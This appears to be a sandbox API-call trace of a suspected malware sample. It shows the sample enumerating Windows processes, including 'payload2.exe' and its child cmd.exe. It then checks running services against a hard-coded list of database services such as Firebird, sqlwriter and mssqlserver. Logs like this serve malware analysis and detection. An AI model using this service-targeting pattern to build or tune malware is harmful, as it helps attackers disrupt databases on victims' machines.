	[0055.474] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0055.475] lstrlenW (lpString="taskhostw.exe") returned 13
	[0055.475] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0055.475] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0055.475] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0055.476] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0055.476] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0055.693] lstrlenW (lpString="msoia.exe") returned 9
	[0055.693] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0055.694] lstrlenW (lpString="msoia.exe") returned 9
	[0055.694] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0055.694] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0055.694] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0055.695] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0055.695] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0055.696] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0055.696] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0055.697] lstrlenW (lpString="defeatpreston.exe") returned 17
	[0055.697] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0055.697] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0055.697] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0055.698] lstrlenW (lpString="legends.exe") returned 11
	[0055.698] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0055.699] lstrlenW (lpString="miniature.exe") returned 13
	[0055.699] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="writes-heroes-spies.exe")) returned 1
	[0055.699] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0055.699] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thorough.exe")) returned 1
	[0055.700] lstrlenW (lpString="thorough.exe") returned 12
	[0055.700] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0055.701] lstrlenW (lpString="dllhost.exe") returned 11
	[0055.701] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="interactive.exe")) returned 1
	[0055.701] lstrlenW (lpString="interactive.exe") returned 15
	[0055.701] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="victims sugar parental.exe")) returned 1
	[0055.702] lstrlenW (lpString="victims sugar parental.exe") returned 26
	[0055.702] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mexican.exe")) returned 1
	[0055.703] lstrlenW (lpString="blade_mexican.exe") returned 17
	[0055.703] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eastexamined.exe")) returned 1
	[0055.704] lstrlenW (lpString="eastexamined.exe") returned 16
	[0055.704] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="attacks-according.exe")) returned 1
	[0055.704] lstrlenW (lpString="attacks-according.exe") returned 21
	[0055.704] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jacket neighborhood.exe")) returned 1
	[0055.705] lstrlenW (lpString="jacket neighborhood.exe") returned 23
	[0055.705] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="values latin.exe")) returned 1
	[0055.706] lstrlenW (lpString="values latin.exe") returned 16
	[0055.706] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaufeed.exe")) returned 1
	[0055.707] lstrlenW (lpString="eaufeed.exe") returned 11
	[0055.707] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chicken_document_adjusted.exe")) returned 1
	[0055.708] lstrlenW (lpString="chicken_document_adjusted.exe") returned 29
	[0055.708] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burning.exe")) returned 1
	[0055.709] lstrlenW (lpString="burning.exe") returned 11
	[0055.709] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="warned-garage.exe")) returned 1
	[0055.710] lstrlenW (lpString="warned-garage.exe") returned 17
	[0055.710] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customize_ann_acute.exe")) returned 1
	[0055.711] lstrlenW (lpString="customize_ann_acute.exe") returned 23
	[0055.711] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="documentsstrikes.exe")) returned 1
	[0055.711] lstrlenW (lpString="documentsstrikes.exe") returned 20
	[0055.711] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scratch-ball.exe")) returned 1
	[0055.712] lstrlenW (lpString="scratch-ball.exe") returned 16
	[0055.712] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="proprietary.exe")) returned 1
	[0055.713] lstrlenW (lpString="proprietary.exe") returned 15
	[0055.713] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0055.714] lstrlenW (lpString="conhost.exe") returned 11
	[0055.714] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0055.715] lstrlenW (lpString="conhost.exe") returned 11
	[0055.715] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0055.716] lstrlenW (lpString="payload2.exe") returned 12
	[0055.716] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0055.716] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0055.716] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0055.717] lstrlenW (lpString="conhost.exe") returned 11
	[0055.717] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.718] lstrlenW (lpString="svchost.exe") returned 11
	[0055.718] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x468, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0055.719] lstrlenW (lpString="cmd.exe") returned 7
	[0055.719] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0055.719] lstrlenW (lpString="conhost.exe") returned 11
	[0055.719] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0055.720] CloseHandle (hObject=0x27c) returned 1
	[0055.720] Sleep (dwMilliseconds=0x1f4) 
	[0056.513] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d368
	[0056.514] EnumServicesStatusExW (in: hSCManager=0x52d368, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0
	[0056.514] GetLastError () returned 0xea
	[0056.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1d60) returned 0x54d260
	[0056.514] EnumServicesStatusExW (in: hSCManager=0x52d368, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x54d260, cbBufSize=0x1d60, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x54d260, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1
	[0056.515] CloseServiceHandle (hSCObject=0x52d368) returned 1
	[0056.515] lstrlenW (lpString="Appinfo") returned 7
	[0056.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0056.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0056.516] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0056.516] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0056.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0056.516] lstrlenW (lpString="AppXSvc") returned 7
	[0056.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0056.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0056.516] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0056.516] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0056.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0056.516] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0056.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0056.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0056.516] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0056.516] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0056.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0056.516] lstrlenW (lpString="Audiosrv") returned 8
	[0056.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0056.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0056.516] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0056.516] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0056.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0056.516] lstrlenW (lpString="BFE") returned 3
	[0056.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0056.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0056.516] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0056.516] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0056.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0056.516] lstrlenW (lpString="BITS") returned 4
	[0056.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0056.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0056.516] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0056.517] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0056.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0056.517] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0056.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0056.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0056.517] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0056.517] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0056.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0056.517] lstrlenW (lpString="CDPSvc") returned 6
	[0056.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0056.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0056.517] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0056.517] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0056.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0056.517] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0056.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0056.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0056.517] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0056.517] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0056.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0056.517] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0056.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0056.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0056.517] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0056.517] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0056.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0056.517] lstrlenW (lpString="CryptSvc") returned 8
	[0056.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0056.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0056.517] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0056.517] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0056.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0056.518] lstrlenW (lpString="DcomLaunch") returned 10
	[0056.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0056.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0056.518] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0056.518] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0056.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0056.518] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0056.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0056.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0056.518] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0056.518] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0056.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0056.518] lstrlenW (lpString="Dhcp") returned 4
	[0056.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0056.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0056.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0056.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0056.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0056.518] lstrlenW (lpString="Dnscache") returned 8
	[0056.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0056.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0056.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0056.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0056.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0056.518] lstrlenW (lpString="DoSvc") returned 5
	[0056.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0056.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0056.518] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0056.518] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0056.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0056.518] lstrlenW (lpString="DPS") returned 3
	[0056.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0056.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0056.519] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0056.519] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0056.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0056.519] lstrlenW (lpString="DusmSvc") returned 7
	[0056.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0056.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0056.519] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0056.519] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0056.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0056.519] lstrlenW (lpString="EventLog") returned 8
	[0056.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0056.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0056.519] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0056.519] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0056.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0056.519] lstrlenW (lpString="EventSystem") returned 11
	[0056.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0056.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0056.519] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0056.519] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0056.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0056.519] lstrlenW (lpString="FontCache") returned 9
	[0056.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0056.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0056.519] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0056.519] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0056.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0056.519] lstrlenW (lpString="gpsvc") returned 5
	[0056.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0056.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
